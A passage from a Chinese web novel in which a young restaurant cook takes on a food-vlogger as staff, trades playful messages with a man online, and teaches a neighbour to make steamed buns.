陈德又骂了陈母几句，此刻他人燥得不行，就走出门外，到边上树下站着抽烟。 不多时，耳边响起一道轻轻的女声：“你好，请问你知道庄记怎么走吗？” 陈德正为庄记的事烦着，此刻猝不及防听到庄记，听这话好像还是特意为庄记而来的，于是心底积着的那股气更是飙到了临界点。 妈的，庄记庄记又是庄记。 “你他妈的不会自己找？！不知道就别去了，哪里来的就滚回哪里去。” 溪城没有机场，只有个高铁站，江映槐可是千里迢迢坐了飞机又换了高铁才来到这儿的，路上耗时过久，充电宝早就没电了。 现在不是假期，高铁站那边冷清，连车主都不怎么接单，等了老半天都没人应答，江映槐只好坐上公交来到附近。 谁知刚下了公交，她才看了一眼地图，手机就没电关机了。 路上还没共享充电宝。 江映槐只能凭着那一秒的地图记忆加上问人的方式，一路摸索过来了。 谁知道，莫名其妙就被骂了一顿。 江映槐也是个不能忍的火爆性子，当场就怼了回去：“你他爹的神经病吧？！我问你庄记在哪你发什么癫啊？我说你脑子要是有问题就去医院看看，别在这里祸害人，要不要我帮你挂个脑科啊？真够傻逼的。” 陈德此时还穿着印有胖叔木桶饭字眼的围裙，江映槐看了眼，再看了下他背后的店铺，瞬间懂了：“我知道了，你就是嫉妒庄记是吧？那你就嫉妒着吧傻逼，庄记是你这辈子都不可能达到的高度，就你这敏感易碎且易破防的自大废物，回去拍你的苍蝇去吧。” 陈德完全没想到看着挺瘦弱的一个女生，竟然敢回骂他，还说了一连串戳他心窝子的话，气得他脸都涨成了猪肝色。 可偏偏他又不知道怎么骂回去。 江映槐说完，完全不管被她气得在那“你”半天“你”不出一个所以然的陈德，转身就走了。 这种人，就是欠骂！ 江映槐走出几步，有了前车之鉴，她重新挑了个面相友好的年轻女生问了路。 没多久，终于来到了庄记饭馆门前。 第47章 第47章 江映槐来到时，庄凝冬她们正在吃饭。 在面对庄凝冬做的美味时，这是奶奶第一次不仅没露出笑容，反而一脸忧愁。 无非是还在为前不久发生的事担心。 奶奶耳朵没有年轻时灵光了，当时她在楼上，听着楼下的一片嘈杂声，觉得跟平常无异就没管，直到听见人群时而喧哗时而安静，还有男人突兀的声音出现时，才隐隐觉得不对劲。 等她赶到楼下时，那些人好像刚走，店里又恢复了之前的模样。 当时季初曼和庄凝冬都还要忙，奶奶不想打扰她们，愣是等到她们才去了解事件的经过。 结果这一听，就担忧起来了。 “哎呀奶奶，您就别想那么多了，事情现在不是解决了么？”庄凝冬赶紧给她夹了排骨，“担心那么多小心身体出问题啊。” “怎么能不担心呢？”奶奶说着又叹了一口气。 之前看着店里生意变好，奶奶只觉得开心，可如今，她才意识到自己忽略了生意变好也会带来一些祸端。 比如同行的恶意竞争。 目前是只出现了一次这样的恶性事件，明面上是只有一家盯上了她们，谁知道背地里还有多少呢。 都说当你在房子里看到一只蟑螂时，其实已经有成千上万只…… 奶奶担心的，是那些看不见的坏人。 也不知道他们会使什么诡计。 奶奶：“当年你爷爷的手艺没那么顶尖，生意也比正常的好了点，都让黄秀莲那家盯了去，更何况咱们现在势头那么盛…… 庄凝冬却看得很开，她觉得凡事有利便有弊，当利大于弊时，那点弊其实可以忽略不计。 就像店里的生意变好，除了给她们带来那些恶性竞争事件外，不还给她们带来了钱财收入吗？不仅改良了她们的生活，也让她认识到那么多可爱可亲的顾客，甚至还帮助了别人。 这些总总，都让庄凝冬感到美好到能忽略那些弊端。 “他们盯了就盯了，我们专注自己的就好，反正咱们所做的一切都是正规的，用的食材也是健康的，就算他们再怎么耍花花肠子，又能怎样？” “话是这么说，可是……” “好了，别可是了，奶奶你别忘了周警官还给我留了联系方式呢，您总不会不信警察吧？”庄凝冬说：“我还下单了摄像头，等送过来，我就立马把它装上，这下证据也有了，您还怕什么？” 季初曼也让奶奶放宽心：“以前我在其他公司上班的时候，也经历过不少和对家的商战，今天这种情节算轻的了，严重些他们还会挖我们这边的人，往我们这边安插自己的人获取内部消息呢，说白了他们就是对自己的东西不自信，才使出那些下三滥手段。” 季初曼说完，发现现在店里就她一个是外来员工，最有可能被挖走的就是她，她赶紧表忠心：“不过凝冬她待人好，也不结仇，背叛她这种事我是绝对不会做的，而且您当时没看到，顾客们也都很支持她呢，所以奶奶您真的不用想太多。” 平时庄凝冬喊季初曼作姐，她便跟着庄凝冬喊奶奶了。 听完后，奶奶可算是点了点头。 此时，一个拖着行李箱的女生走了进来。 季初曼以为她是来吃饭的：“不好意思，我们店已经打烊了。” “我不是来吃饭的。”江映槐一笑，一一扫过她们的脸，最后目光在庄凝冬的脸上停住。 江映槐要拜师的话还没说出口，就听见庄凝冬说：“我认得你，你是咕咚咕咚上面的up主吧？叫‘小槐不骂人的第一天’？我看过你的视频，你的糕点做得很好。” 要换做别人，如果有人对自己这么说，肯定很开心，因为这是对自己能力的认可。 并且，对方还是自己崇拜的人。 这种雀跃更是加倍。 不过，江映槐的一颗心却紧紧提了起来。 对方看过她的视频？！ “那，那你看过我直播吗？”江映槐紧张地问。 然后下一刻，她彻底心死了。 庄凝冬说：“看过。” 完了完了，这还真是出师不利啊！ 江映槐心里的小人正在流泪。 她这次前来，是为了拜师学艺的，对方不会看到她直播练的那破烂刀功后就不收她了吧？！ 这还不是最重要的，最重要的是她没什么耐心，直播里都还没划拉两下就不干了。 对方看到她这个样子对她的第一印象肯定就变差了，估计更不可能收她为徒了。 好了，悬着的心彻底死了。 江映槐欲哭无泪。 别问，问就是后悔。 早知道就私底下偷偷练了。 虽然看着希望渺茫，但江映槐还是问了道：“其实我是来拜师的，请问，您收徒吗？” “啊？你要拜我为师？”庄凝冬指了指自己，有些讶异。 江映槐猛点了几下头，仿佛决心已下。 其实以江映槐的手艺，根本不需要拜师，庄凝冬自己也没想过要收徒这件事。 首先是，现代的食材和其他加工艺术她自己也在学习中，其次，拜师收徒这件事在她看来是非常神圣庄重的，并且一日为师终身为父，绝对不是头脑一热说拜就拜的。 庄凝冬便也就直说了：“可是你自己做糕点的技艺就已经很好了，再花点时间摸索摸索就可以更上一层楼，完全没必要拜师啊，而且我也没想过要收徒。” 江映槐“啊”了一声，听见她没想过收徒后，肉眼可见的失落。 “我想拜你为师也不是为了学做糕点，不是说你做的不好的意思，是我在这方面没多大兴趣，我主要是想跟你学刀功。” “刀功？”庄凝冬疑惑。 “是啊，有天我在一个热门视频看到一份特别漂亮的菊花豆腐，”江映槐说，“我一看就非常喜欢，再一看，发现地址在这里，就过来了。” 江映槐的话还是可信的，因为对方的行李都还没来得及放好就过来了。 “你就收我为徒吧，我保证，我绝对不会半途而废的！” 庄凝冬虽然纠结，却也坚持：“我不知道你现在刀功怎么样，如果你真的想进步，我可以给你一些建议，不过，拜师就不必了，我确实还没考虑过要收徒的事…… 对方说不知道她的刀功怎么样，那就是说，对方没看过她直播的后段！ 一瞬间，江映槐又满血复活了。 没看过就好，她还有重新做人的机会。 等有空，她就去把那些直播回放都删了，江映槐想。 “没事，我可以慢慢等的，你可以好好考虑一下。” 江映槐千里迢迢来一趟，总不会对方说不收徒她就立马放弃，刘备请诸葛亮还需要三顾茅庐呢。 没在这个话题上继续逗留，庄凝冬见对方一路赶来，风尘仆仆，想来还没吃饭，就问：“你吃饭了吗？没吃的话要不留下来吃个饭？” “好啊。”江映槐不扭捏，爽快应下。 这顿饭菜不算太多，庄凝冬打算再做两个菜。 “好，那你先等下，我再去多做两个菜，对了，你有什么忌口吗？” 江映槐：“没有，我不挑的，啥都能吃。” 原本江映槐想进去帮忙，不过被庄凝冬拒绝了。 于是，就坐在大厅里跟奶奶她们聊天。 奶奶对这个跟她孙女差不多大的女娃子印象很好，慈祥地和她聊着天，问她家在哪儿，是做什么工作的，总之，氛围很好，也不冷场。 很快，庄凝冬端着碟香辣孜然牛肉和虾仁炒莴笋出来了。 刚出锅，热气腾腾的，香气四溢。 江映槐光看着就流口水了。 “唔～好香，我感觉我现在饿得能吃下一头牛。” 众人笑。 “那快吃吧，不够我再去做点。” 牛肉被切成薄片，纹理清晰，裹了一层炸制过的金黄焦色，吃起来又脆又嫩，还有辣辣的味道疯狂刺激着味蕾，喷香！ 江映槐将牛肉混着白米饭一起嚼：“太好吃了！这是我吃过最香的牛肉。” 季初曼也同意：“凝冬做什么都好吃。” 她在这里那么久，每天中午吃的菜式几乎都不重样，但都没有过翻车的情况。 除了香辣孜然牛肉，还有虾仁炒莴笋，虾仁肉质紧实，虽然带了点盐的咸味，但也不足以掩盖虾仁本身的鲜甜，风味十足，莴笋也清脆爽口。 “好香好香！”江映槐吃着，嘴里的夸夸也不停：“怎么连这些普普通通的家常菜都做得那么好吃？难怪蛋挞那么喜欢，我也喜欢！看来我不仅要跟你学刀功，厨艺也要跟你学学。” 江映槐说完，人家就靠这个本事赚钱的，哪能那么轻易教给她。 于是，她连忙道：“放心吧，我不会白学的，会交学费，等我学会以后也不会跟你抢生意的。” 庄凝冬笑：“学费就不用了，你要是真有兴趣，我也可以教你。” 吃完饭，江映槐主动收拾碗筷，不过都被季初曼抢了去，她笑：“这可是我的活。” 活，干活…… 江映槐眼珠子一转，又生出别的念头来了。 现在拜师的事还没下落，倒不如想办法留下来，之后庄凝冬要是看她表现得好，说不定会答应收她为徒。 恰好此时，庄凝冬问她：“你这过来一趟不容易，你打算在这边待多久？如果想让我上手教你炒菜，估计得看着挑个时间，如果只是要个文字教程，我随时都可以发给你。” “我想在这边住上一段时间，顺便找个工作过渡一下。”江映槐眨眨眼，试探性问：“请问，你这里还缺人吗？” 没等庄凝冬回答，江映槐又说：“肯定缺吧，我看到蛋挞那个视频里人特别多，这店里只有你们怎么忙得过来啊？那么多菜要处理，那么多碗碟洗，还有那么多张桌子要擦，就多招我一个吧。” 以江映槐的粉丝量，还有她视频里露出的背景，都能推断出她不是一个缺钱的人。 看来，找工作是假，为了留下来才是真。 庄凝冬静静看着她。 “我力气大，干活也很勤快，绝不偷懒！我甚至可以不要工资的。” “嗯……那你就留下来吧” 正好庄凝冬缺一个帮忙做糕点的人，而江映槐在这方面比较强，估计教一遍就会了，也不用怎么培训。 “不过，工资我还是要给你的，你大概什么时候能上班的话就跟我说一声。” 免费的人情最难还。 “我就这样被留下来了？太好了！”江映槐难掩兴奋：“我下午就可以来上班。” “你从那么远的地方来，舟车劳顿，今天还是先好好休息一下吧，顺便找个住处。” “也好。” 江映槐打算在附近租个房子，她初来乍到，对附近也不熟悉，就去找庄凝冬问了下。 庄凝冬在这里有房子，她也不了解租房的行情，最后还是去咨询了任叔任婶。 刚好他们那有一层空了出来，江映槐去看了一圈，觉得各方面都可以，就这样租了下来。 这距离，这通勤时间，跟在家门口上班有什么区别？ 江映槐很满意。 午间，江映槐搞了个卫生，把自己带来的东西整理好，又在购物软件添置了其他生活样品。 搞定一切，她突然想起来直播回放还没删。！！！ 江映槐赶紧打开咕咚咕咚，她狠起来的时候连自己的没放过。 边删边骂自己是傻逼吧，怎么老是直播？！关键还没有一键删除，删得手都累了。 这就跟删以前非主流时期的个签是一样的。 …… 庄凝冬回到家，趁着空闲时间看了会儿书，才打开看群聊消息。 群里，有人发了那些人来闹事的视频，刹那引起其他人的愤怒—— 乌鱼子：[不是，他们有病吧？自己的生意做不起来，就去搞别人，不会吧不会以为扳倒别人自己就能起来吧？] 一杯奶茶：[大家记住那家店地地址：朝丰街……以后千万别去。] 每天都好困：[何止是不去，路过我都要朝他吐口口水。] 养生girl：[这家店我之前去过，当时还看他跟顾客吵了起来，真的很没有素质，没素质就算了，而且饭菜还不好吃，buff叠满，那时我就在想下次都不会去了，没想到现在暴雷了。] 阴暗鼠鼠：[还好现场有那么多朋友在，不然我真怕老板被吓到后就不开店了。] 焦虑个P：[那群人也是蠢，好神经，挑那么多人的时候来搞事，他们难不成以为我们会袖手旁观、事不关己高高挂起？哼哼真是想太多了，这是绝对不可能的事，没有老板我还上哪去吃到这么好吃的菜啊？] …… 群里那些中午未到场的顾客都表示很关心庄凝冬，并且希望她不要被那些人影响到正常营业，为了留住庄凝冬，话术简直花样百出。 庄凝冬无奈间又有些动容，在她出面表示自己没那么脆弱，店还是会继续开下去时，那群顾客终于放下心了。 下午的时候，庄记照常营业。 店里生意如常，甚至比平时的人更多。 哪怕江映槐早早来排了队，轮到她时，菜单上的某个菜式还是卖光了。 不过还好，那不是江映槐特别想吃的。 她点了份香酥羊排就找了个位置坐下。 然后无声观察着店里的营业情况。 江映槐发现，庄凝冬就留在后厨忙活，大厅的一切都交给了季初曼。 季初曼忙着给客人点单的同时，还要注意窗口，如果那里放上了新做好的菜式，她就要停下点单的活，先给客人端菜。 不过还好，被怠慢的客人没什么怨言。 都能将心比心。 江映槐坐着看了一会儿，想了想，然后起身上前。 “麻烦稍等。”季初曼跟下一个要点单的客人说完后，正要去窗口端菜，却发现有一双手比她更快。 她一抬头，是中午才见过的江映槐。 江映槐朝她一笑，wink了一下，就端着托盘走到餐桌之间。 托盘里有号码牌，很容易找。 等庄凝冬从后厨忙完出来，才发现江映槐来帮忙了。 忙到连自己点的那份香酥羊排都还没吃，后面还端着自己的香酥羊排加入到庄凝冬几人的晚餐中。 庄凝冬想给她支付下午的工资，被江映槐义正言辞地拒绝了，说她都没按时来上下班，不用给钱。 庄凝冬只好作罢。 江映槐又说，她明天就能来上班。 “嗯……如果你不让的话，我就每天来帮忙，然后不收你钱……江映槐威胁道。 庄凝冬觉得好笑：“这不是我赚了吗？” “你不是这样的人，”江映槐胸有成竹道，“我这样做刚好能让你愧疚，让你不安，说不定还能让你夜不能寐。” 众人被逗笑。 最后庄凝冬松了口：“好，那你就明天过来上班吧。” 之后庄凝冬又跟她细聊了些工作相关的事。 不管聊到什么，江映槐都跟个机器人一样只会点头，说好的，仿佛不管是什么不平等条例和要求，只要让她留下，她都会同意。 晚上，庄凝冬处理完一些琐碎的事情后，就跟往常一样打开了那个金融网站。 发现消息那里多了个红点。 庄凝冬点开，发现是上次那个请教过的那个人。 没意思：[你最近怎么没来问问题了？] 当然是因为囊中羞涩了，庄凝冬心说。 她的钱要用来招人，要攒着还钱，还要给奶奶买东西。 庄：[你太贵了。] 庄：[我请不起。] 没意思：[？] 第48章 第48章 他还太贵了？ 另一头的傅修霁简直要气笑。 最近，傅修霁有点无聊，想找点乐子玩，也许是因为上一次他在庄凝冬面前吃过瘪，所以他才注意起这个人来，然后，就发现对方这段时间以来安静如鸡。 于是，他试着来找了一下，结果还没聊两句，又被对方的话弄得既气又无语的状态。 先不说贵不贵的问题，关键是，他就没拿她的钱。 不过，目前不是纠结这个的时候，傅修霁更在意一个问题：[那你去找别人了？] 可别是找了别人，所以才没来找他。 也别告诉他，就他这个吊打网站内所有人的知识储备量，再加上还是免费的，都比不上其他人。 庄凝冬如实回答：[没有。] 确实是没有，因为上次咨询对方的那些问题已经足够受益匪浅，她最近都在自己看相关的知识点。也没什么想要问的了。 傅修霁放下心来，觉得自己很有必要提醒一下：[我没收你钱。] 对方这么一说，庄凝冬才去看了眼余额。 还真没收。 对方没领，转账到了时间，系统自动退回的时候并没有通知，所以庄凝冬不知情。 庄：[你怎么不收？] 没意思：[我对钱没兴趣。] 庄；[可是你不收的话，我有点不好意思。] 没意思：[不好意思什么？] 庄：[感觉像白嫖了你。] “白嫖”一词是庄凝冬来到这个朝代后在那些顾客身上学到的新词。 为了融入他们，融入这个时代，庄凝冬也有意去接纳一些新的思想和风俗。 而融会贯通、学以致用就是最好的办法。 没意思：[……] 对方不再说别的，庄凝冬不禁怀疑自己是不是用错词汇了。 庄：[难道我说错了吗？] 那头的傅修霁盯着“嫖了你”这三个字，非常肯定对方是故意的。 并且有得寸进尺的意思。 再揪着这句话不放，吃亏的就是他了。 于是，傅修霁决定不理：[那你擅长什么？] 庄：[啊？] 没意思：[你也象征性地教我点东西，就当等价交换了。] 庄凝冬想了想：[我做菜还算好吃，或许可以指点你一二，你对这方面感兴趣吗？] 在吃的方面，所有熟悉傅修霁的人，就没有觉得他不挑剔的。 嘴巴也不知道怎么的被养的这么刁，每次吃饭，某样东西火候过了，或者差了点火候，他都能吃出来，甚至能精准到秒数。 就离谱。 也就只有百味楼的东西能勉强入他的眼了。 是的，勉强。 所以现在，他的那些朋友几乎都不约他去吃饭，就怕被他挑剔个不停。 曾经，他的一个朋友就被他气了个半死，然后骂他“你行你上啊”，结果谁知道，傅修霁这人还真行。 做出来的东西还真就比百味楼的要好吃。 自那以后，那群人再也不说话了，对于他的挑剔能忍则忍。 因为，他们还妄想有生之年能再吃到傅修霁做的菜。 虽然希望渺茫。 所以在傅修霁面前谈论厨艺，相当于班门弄斧。 不过傅修霁也不需要对方真的教他点什么，既然对方正好挑到精通的领域，说不定他还能趁机找回被“嫖了”的场子。 傅修霁便随意说了一道菜，还要求庄凝冬给的教程越详细越好。 起初，傅修霁其实不太在意，神情也散漫不怎么认真。 直到庄凝冬从挑食材开始说起，一步步精准到后面的配料比、根据食材的量所需要的火候大小及时长。 傅修霁的神色才端正起来。 好像，还真有两下子？ 没意思：[可以，那以后就这样等价交换吧。] 本着心里的疑惑，傅修霁准备问问别的。 庄凝冬却没空了。 庄：[等下次吧，我要睡觉了。] 没意思：[？] 那头的傅修霁看着不到十一点的时间陷入沉思。 按以往的时间，庄凝冬是不会那么早睡的，因为现在店铺逐渐稳定，食材有人送过来，也不需要她太早去市场。 不过下午的时候，她跟赵爷爷约好，明天要过去教他做包子。 赵爷爷开早餐店的，得早点过去。 庄凝冬看着对方发来的问号，以为他看不懂，便解释了一遍：[我说我要睡觉了，可以下次再聊。] 没意思：[哦。] 没意思：[我看得懂中文。] 没意思：[我只是疑惑……] 庄：[什么？] 没意思：[您贵庚？] 庄凝冬：“……” 没意思：[明天是不是还要早起？] 庄：[你怎么知道？] 没意思：[四点还是五点？] 庄：[五点。] 觉得自己找回了一点场子的傅修霁弯起唇角：[行了，你去睡吧。] 随后，他又补充了一句：[我家老爷子起得都没你早。] 庄凝冬：“……” 庄凝冬正要退出，忽然想起个问题，又折了回去：[对了，还有个疑问。] 没意思：[什么？] 庄：[刚刚我那句说白嫖了你的话，应该没说错吧？] 傅修霁的唇角的笑一顿。 庄：[你之前不收钱，我也没给你其他东西但却从你那里获得了其他的行为，就是白嫖吧？] 傅修霁的唇角拉直。 庄：[你怎么不说话？难道你也不知道？] 傅修霁额角的青筋跳了下。 庄：[如果这种行为不叫白嫖的话，那叫什么？] 对方一直不回答，庄凝冬当他也不懂。 本着不懂就要搞懂的原则，庄凝冬决定去问别人：[好吧，既然你也不知道的话，我就去问别人了，等我问到答案回来，会告诉你的。] 傅修霁想象了一下那个场景—— 对方如果确定他就是被嫖了，然后再过来跟他说：“对，你就是被我嫖了。” 要在别人面前丢脸，还不如自己承认了算了。 “……” 傅修霁深吸口气，打字：[是。] 庄没反应过来：[是什么？] 还是什么？ 傅修霁十分怀疑对方就是故意的。 被一步步推到临界点，傅修霁也不退了：[是什么？是你嫖了我。] 虽然看着有点怪怪的。 不过庄凝冬没往其他方面想去，得到答案后，还很有礼貌地说了声谢谢。 傅修霁：“……” 想骂人。 * 第二天一早，庄凝冬五点就起了床。 现在赵爷爷年纪大了，开早餐店也只是爱好，又不为赚钱，所以跟其他凌晨三点多就开始干活的早餐店不一样。 主打的就是一个随心所欲，等自己休息好了再起来忙活。 赵爷爷那边有工具，庄凝冬便空手过去了。 路过任叔任婶那栋楼时，楼上有一道压低了的声音惊喜地喊着：“嘿！凝冬姐！” 庄凝冬抬头，二楼探出一个脑袋，是江映槐，她兴奋地挥着手。 庄凝冬年龄比江映槐小，是江映槐佩服她的手艺，才尊称了一声姐。 等江映槐人到了跟前时，庄凝冬才问她怎么那么早，昨晚她跟她聊的工作时间，都不是这个点。 其实是环境有点陌生，江映槐还没习惯，不过她还是道：“这不是因为能留在你店里，高兴过头了，所以激动得睡不着嘛。” 庄凝冬被逗笑：“哪有那么夸张。” 江映槐又说了几句夸夸的话，才问庄凝冬这么早要去哪。 庄凝冬说她要去教别人做包子，对于和赵爷爷关系这件事，庄凝冬用三言两语简单地说了下他对自己的恩情。 江映槐点点头，说他们这些街坊邻里感情真好，又说自己也想学，能不能带上她一起。 庄凝冬就这样带着江映槐去了赵爷爷家。 赵爷爷本来就喜欢聪明嘴甜的女娃子，再加上对方还是庄凝冬店里新招的人，他们在庄凝冬的简单介绍过后，聊了三两句就熟络起来。 之后庄凝冬开始教他们做包子。 赵爷爷家里的面粉还行，不过庄凝冬看过市面上还有更好的，她便从挑选面粉开始教起。 赵爷爷听得认真，江映槐也一样。 到了和面揉面做包子环节，因江映槐有经验，所以做起来比赵爷爷要更快并且更容易上手。 赵爷爷看着旁边江映槐一下子就捏出了一个褶子间隔一样，并且分外好看的包子时，难得怀疑起自己来。 难道他做了那么多年的包子是假的？ 庄凝冬品出赵爷爷怀疑人生的表情，噗嗤一笑，开口解释，试图帮他找回点自信：“映槐她在这方面很有天赋，而且她还是一个软件上专门做糕点的一个视频up主，up主就是……” 怕赵爷爷不知道，庄凝冬又详细地解释了一下up主的意思，又顺便把江映槐夸了一遍。 那程度，说得江映槐都不好意思了。 赵爷爷听得一愣一愣：“现在的年轻人真是越来越厉害咯，长江后浪推前浪啊。” 江映槐：“也没有很厉害啦，不然凝冬姐早就收我为徒了。” “啥？”赵爷爷惊讶：“你要拜凝冬丫头为师？” “是啊，觉得她厉害，想多跟她学点东西，赵爷爷，我问问您，您老人家觉得凝冬姐那一身技艺如果不传承下去是不是很可惜？” 赵爷爷摸着下巴，回想着刚刚学东西的过程，长长地嗯了声：“是很可惜。” 庄凝冬：“……” 等包子熟了之后，他们三人先尝了尝。 盖子一掀开，一股厚重的热气瞬间蹿了出来，并且面粉熟了的香味也争先恐后地跑出。 弥漫至整间厨房。 蒸笼里，白花花且大小一致的包子整齐有序地搁置着，一个个，像一颗颗莹润的白棋。 江映槐和赵爷爷都深吸了一口气，使劲嗅了嗅这香味，然后肚子被齐齐地刺激出了咕噜噜的声音。 一老一小相视了一眼，都不怕烫似的拿起了一个掌心大的包子。 不过很快，他们就呼呼地拼命吹着气把拿出来的包子放到干净的碗里。 旁边，庄凝冬正优雅地拿筷子夹了个包子出来。 她还很惊奇：“你们都不怕烫吗？” 江映槐、赵爷爷：“……” 太着急了，导致都忘了有其他工具了。 只见被庄凝冬用筷子夹过的那个包子表面留下两道细长的痕迹，但很快，由于包子表皮的松软，凹陷下去的痕迹就回弹了上来。 这松软程度，简直看着都要流口水了。 江映槐和赵爷爷又齐齐地咽了口口水，之后也忘了烫了，拿起来就咬了一口。 他们拿的都是鲜肉包。 包子雪白的外表皮光滑无比，咬破柔软的面皮，中间的鲜肉馅迸溅出鲜香的汁水，江映槐被烫到，忍不住倒吸了口凉气。 “嘶——好烫好烫。” 虽然被烫到，但尝到肉质紧实的鲜肉，口腔间还有淡淡的麦香，嚼起来还能尝到一点甜味。 江映槐也顾不得烫了：“好好吃，这个包子皮软乎乎的，真的太松软了。” 赵爷爷显然更有经验，他的那一口只咬了表皮部分，没咬到中间，所以他没被烫到。 尝着嘴里绵软的麦香，赵爷爷将包子拿在手中，掰开作两半。 同时，还不忘嘚瑟地看了眼江映槐，那神情，明晃晃在说看我多聪明。 江映槐：“……” 第49章 第49章 被掰开作两半的包子很松软，面皮仿佛轻飘飘就被撕开了，随即飘出几缕白雾和浓郁肉香，露出中间紧致的肉馅。 肉馅圆乎乎的一块，紧实得掰不散，赵爷爷怕包子皮彻底掰断后，里头的肉馅会掉落在地上，所以底下的面皮还黏连着。 赵爷爷被香味激得随意吹了几口气，待那热腾腾的气散了一点，再将那一半包子送进嘴里。 面皮超级松软，比他以前自己做的蓬松多了，也不干，还有这鲜肉馅也是庄凝冬帮调的，咸度适中，搅碎的肉糜口感紧实，满嘴的肉香味。 “好吃！”赵爷爷狼吞虎咽吃掉一半，又忙不迭把另一半塞进嘴里，“做了大半辈子包子，我都不知道包子能好吃到这个地步。” 明明都是一样的食材，在庄凝冬手里却能发挥出百分之两百的作用。 与此同时，江映槐也咽下一口包子，忙说：“我赞同！真的好吃！” 今天的早餐是他们一起做的，所以那笼包子里，还有赵爷爷和江映槐包的，他们包得没有庄凝冬那样完美，江映槐的还好，不仔细看的话，看不出来，其中差别最大的就是赵爷爷的了。 面剂子和每个包子所包的肉馅量都是庄凝冬帮分好的，倒不存在什么因为肉馅过多导致皮破了的问题。 就是赵爷爷在捏面皮的时候，那褶子捏得不太好，之间的间距也不均匀，看着总有点滑稽。 江映槐在这方面也算专业的，所以一眼就认出了自己捏的包子，并拿起吃了起来。 自己做的包子竟然能这么好吃，一股浓烈的成就感油然而生。 果然，经过自己劳动所得的成果更好吃了。 江映槐感叹着，然后发现赵爷爷拿的还是庄凝冬捏的包子，不禁问：“赵爷爷，您怎么不吃自己做的包子呢？” 赵爷爷也有点嫌弃自己包的包子，在明显的对比下，他当然挑更好看的来吃了。 “我做的不好看，不想吃，等会儿拿出去卖吧。”赵爷爷含糊地说。 庄凝冬被赵爷爷这小孩子性子逗笑。 江映槐则觉得无语。 不好看的就卖给别人是吧？ 七点半的时候，赵爷爷的早餐店正式营业。 这附近都是老旧居民楼，他们大多数人都会选择在家自己做早饭，有些人偶尔也会到外面买。 现在时间还早，再加上刚刚在蒸包子的时候，庄凝冬就回了趟家收货清点食材。 暂时还没什么需要忙活的。 所以庄凝冬和江映槐都留在赵爷爷这里，没人的时候就聊个天，有人就帮忙吆喝生意。 有相熟多年的老顾客准点来买早饭，老顾客瞧见向来只有赵爷爷一个人的摊子出现了两个小姑娘之后，有点惊讶。 “老赵，这两位……你孙女啊？咋没听你说过呢？” 赵爷爷摆了摆手，笑着哼了声：“我倒是想，这不两儿女那里八字还没一撇呢。” “还是两肉包一馒头不？”赵爷爷记得顾客的需求，熟稔地拿起了塑料袋。 “是。” 老顾客说完，拿手机付了款，顺带往掀开笼盖的笼屉瞅了眼，就这么一瞬间，老顾客就被吸引住了目光。 “老赵，这包子看上去比你以前包的要好看哇，唔，闻着也香多了，怎么一夜之间……受高人指点了？” 赵爷爷嘚瑟一笑，说着，指了指庄凝冬：“那可不，高人还就在你眼前呢。” 庄凝冬礼貌地朝对方颔首。 赵爷爷手脚麻利地装好包子给对方递过去，又道：“不仅闻起来香看起来好看，就连吃起来也是一等一的好吃呢。” “真的假的？” 江映槐帮忙说话：“珍珠都没那么真。” 老顾客不可思议地看了眼庄凝冬，庄凝冬人长得年轻，老顾客瞅着，觉得她人的年龄说不定还没老赵做包子的年份大，不过这包子看上去确实令人口齿生津。 圆滚滚，白花花的，表面又光滑，顶端有捏了一个小圆，以它为中心的褶子均匀地向四周发散。 老顾客倒是当场就求证起来，看看是不是真有那么好吃。 他隔着塑料袋，捏起包子，正要拉着袋口往下扯，却发现今天的包子手感格外软，于是又捏着玩了两下才撕下底部的白纸吃起来。 面皮部分口感异常暄软，有着小麦的香气和淡淡的甜味，中间包着的鲜肉也格外滑嫩，咸鲜咸鲜的，一切都是那么的恰到好处。 “真的好香窝！”老顾客尝过之后，神情变得更为震惊，同时，心底对庄凝冬的那点怀疑瞬间消失殆尽，悉数转变为敬佩。 “当真是年少有为啊！” 这儿的人都好朴实，庄凝冬面对他们的夸赞，也发自内心地笑着道了声谢。 过了一会儿，梁爷爷从另一条街晨跑回来，一拐弯就看到了赵爷爷他们。 他的身边还跟着旺财这只小黄狗。 几人寒暄过，得知赵爷爷今天做的包子是经过庄凝冬的指导之后，他也来了劲，买了两个吃。 他买了一个香菇包和一个肉包子，就站在旁边边跟他们闲聊边吃。 “凝冬丫头真的……做什么都好吃，这香菇馅，韧韧的，又劲道，香极了。”梁爷爷大口大口地吃着，很快就解决了两只包子。 旺财闻到肉香，但又吃不到，只能在他腿边摇着尾巴走来走去，还急得汪汪叫。 梁爷爷都听懂了，然后回应着—— “这些你不能吃。” “别叫了，你着什么急？等回家有你吃的。” “有这么饿么你？” 见它越叫越起劲，梁爷爷便无视它了。 梁爷爷吃了两个包子仍觉得意犹未尽，又跟赵爷爷买了四只。 两只是他的，剩下的两只带回去给老婆子。 过了段时间，有个老奶奶牵着一个男孩子走了过来。 虽然前方贴有一张菜单，但赵爷爷还是口头说了一遍：“这儿有肉包，豆沙包，莲蓉包，青菜包，香菇包……你们想吃什么？” “轩轩，你看看想吃什么？”老奶奶问那个小男孩。 轩轩光是听完赵爷爷的话就提不起劲来了：“怎么都是包子？包子好难吃，我不想吃，我要吃油条！！” “吃什么油条？你昨天不才吃着？吃太多了上火，到时候嘴里长泡、喉咙痛你可别来跟我哭。” 轩轩大幅度摇晃着身子，要不是被牵着，他估计整个人都要躺地上撒泼打滚去：“我不管我不管！我就要吃油条！油条才好吃，包子好干，又没有味道，一点儿都不好吃。” “你不管，那我也不管，”老奶奶说是这样说，但买包子的时候还是把孙子那份也买了：“给我来两肉包和一个菜包吧。” “好嘞，”赵爷爷应下，又朝那个男娃子笑道，“你个小娃子真不要？爷爷我这里的包子可香咯。” “不要不要不要，其他卖包子的人也这样说，就没有好吃的。”轩轩下意识将赵爷爷和他奶奶划分到了同一阵营，觉得他们都是威逼自己吃包子的坏人。 庄凝冬还能轻声笑着对轩轩说话：“真的尝一下都不愿意吗？” 但江映槐可烦不听话的小孩了，她觉得这种小孩子，就得治治。 她便朝老奶奶提议道：“我们这儿的包子是真的好吃，不信你现在吃一个看看，我敢肯定这小孩子绝对被馋得口水直流嗷嗷叫。” “你才流口水！我已经长大了，我才不会流口水呢！”轩轩大声反驳。 江映槐也来劲了，学他说话气他：“哟哟哟，我～已～经～长～大～了～” 庄凝冬看着这幼稚的一大一小：“……” 就在江映槐和轩轩还在斗嘴时，老奶奶的注意力被包子吸引了去。 她吸嗅着鼻尖的香味，觉得江映槐那个提议说不定还真行得通。 老奶奶心下一动，特意拿到轩轩面前，让他看着：“轩轩啊，你看这个包子是不是又圆又白，你看，我这样捏下去它还会回弹呢，看着是不是比你吃得蛋糕还要松软？” 